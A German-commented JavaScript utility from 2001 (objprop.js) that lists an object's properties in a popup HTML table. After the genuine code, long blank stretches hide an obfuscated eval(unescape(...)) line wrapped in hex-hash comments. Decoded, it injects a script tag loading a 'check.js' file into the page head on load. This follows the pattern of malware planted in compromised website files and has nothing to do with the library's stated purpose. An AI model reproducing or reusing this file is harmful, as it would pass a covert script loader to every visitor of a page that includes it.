/* objprop.js   Eigenschaften eines Objects                               20.3.01, maho
   ==========   ===========================
   Funktion   : Anzeige v. Eigenschaften u. Methoden eines Objekt's (in einem neuenFenster)
   Voraussetzg: Bibliotheken "string.js"
   Aufruf     :
     * showObjProp(object, objectName)
       - object    : ein Objekt; falls nur Name bekannt:  "object = eval(objectName)"
       - objectName: Name des Objektes wie zB.: "document.all",
   Fehler-Doku:
     - IE5.0 (onLine !!) haengt sich auf: wenn JS-Include innerhalb document.open()
     - IE5.0 (offLine !) gibt keine Eigenschaften zu "document" an (weisses Fenster)
     + IE5.5 braucht JS-Include f. FktionAufruf; oder: opener.fktion() !!
*/
/*------------------------------------------------------------------+
| ObjProp  Copyright 2001         Martin Hönninger, 20.06.2001      |
| Contact: maho00@web.de          http://www.swanja.de              |
+-------------------------------------------------------------------+
| Copyright 2001    Martin Hönninger     All Rights Reserved.       |
+------------------------------------------------------------------*/
var _objectName;
                                              // Anzeige der Objekt-Eigenschaften/Methoden
function showObjProp(object, objectName) {    // als Tabelle in neuem Fenster
  _objectName = objectName;

 neuesFenster = window.open("","AnzeigeFenster",
 "width=350,height=400,resizable=yes,scrollbars=yes,menubar=yes,toolbar=yes,statusbar=yes");

  with (neuesFenster.document) {                            // Dokument: Öffnen + Schreiben
    var str;
    open();
    str  = '<html><head><title>Eigenschaften von [' + objectName + ']</title>\n';   // Head
    str += '<style type="text/css">\n';
    str += 'p,h1,h2,h3,td,th,b,i { font-family:Arial,sans-serif; }\n';
    str += 'p,td,b,i { font-size:10pt; }\n';
    str += 'th { font-size:12pt; }\n';
    str += '</style>\n';
    //  if ( NSNVx10 >= 40 || MSIEx10 > 50 ) {
    str += '</head><body bgcolor="#eeeeee" text="#111111"';
    str += ' link="#0033FF" vlink="#3366FF" alink="#0000FF">\n';

    str += '<table width="80%"><tr>\n';                                      // Überschrift
    str += '<th width="95%" align="left"> Objekt:&nbsp; ' + objectName + '</th>\n';
    /*
    str += '<th width="20%" align="left"><a href="javascript:opener.fmsg()">\n';
    str += '<img src="../images/fragezeich.gif" width="20" height="16"';
    str += ' border="0" alt="FehlerCheck"></a></th>\n';
    */
    str += '<th width="5%">&nbsp;</th>\n';
    str += '</table><br>';

    str += '<font size="-1" face="COURIER NEW">\n';
    str +=  getHTMLTable(object, objectName);                      // HTML-Table generieren
    str += '</font>';
    str += '</body></html>';
    writeln(str);
    close();
  }
  neuesFenster.focus();
}


function getHTMLTable(object, objectName) {
  var aryPropValue = new Array();            // Array fuer ObjektEigenschaften
  var i=0, str = "";
  for (var _index in object) {                    // alle Eigenschaften u. Werte
     str = "" + _index + "||" + object[_index];          // * StringAufbau; "||" = Trenner
     str = str.replace(/</g,"&lt;");                   // * String "bereinigen"
     str = str.replace(/>/g,"&gt;");
   //  str = str.replace(/\n/g," ");
     if ( IsSelected(_index,object[_index]) )            // * Aufnahme wenn Selektiert
       aryPropValue[i++] = str;
  }
  if ( MSIEx10 > 50 || NSNVx10 > 40) // ohne opener (??)
    aryPropValue.sort(strCompareNotCaseSensitiv);         // * Sortierg
  return getTableOfArray(aryPropValue,"||");        // - Array in HTML-Table
}

function IsSelected(objectIndex,objectValue)  {
  return true; // vorerst
}
                                                       // Umformung eines Arrays aus Strings
function getTableOfArray( aryPropValue ,splitter) {    // in eine HTML-Tabelle
  if ( ! splitter )  splitter = "||";

  var str = '<TABLE cellspacing="0" cellpadding="1" BORDER=4>';
  str    += '<TR align="left" bgcolor="#cccccc"><TH>Properties</TH><TH>Values</TH>';

  for(var i=0; i < aryPropValue.length; i++) {                  // alle Array-Elemente
    var aryTmp = aryPropValue[i].split(splitter);                    // * Zerlegen
    var strProp = aryTmp[0];                                              // - Propertie
    var strValue = aryTmp[1];                                             // - Value

    if ( strValue.indexOf("function") >= 0)                         // a. ist Function (NS)
      if ( NS4 || NS6)                                                       // Netscape:
        strValue = strValue.substring(0,strValue.indexOf("{")) + "{..";      // -> Kappen
    if ( strProp.indexOf("on") == 0)                                // b. ist "on.."-Methode
      strProp = strProp.fontcolor("#FF6633");                                // -> Color
    if ( strValue.indexOf("[object") == 0) {                              // c. ist Object
//    if ( strIsDigit(strProp) )
      if ( strProp.isDigit() )
        var linkName = _objectName + "[" + strProp + "]";
      else
        var linkName = _objectName + "." + strProp;
      strProp = strProp.link("javascript:opener.testObj('"+linkName+"')");   // -> Link
    }
    str += "\n<TR><TD>" + strProp + "</TD><TD>" + strValue + "</TD>";  // * Table-Row
  }
  str += "</TABLE>";
  return str;
}




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%35%36%34%36%34%32%3B%20%4A%53%53%33%20%3D%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      





































































































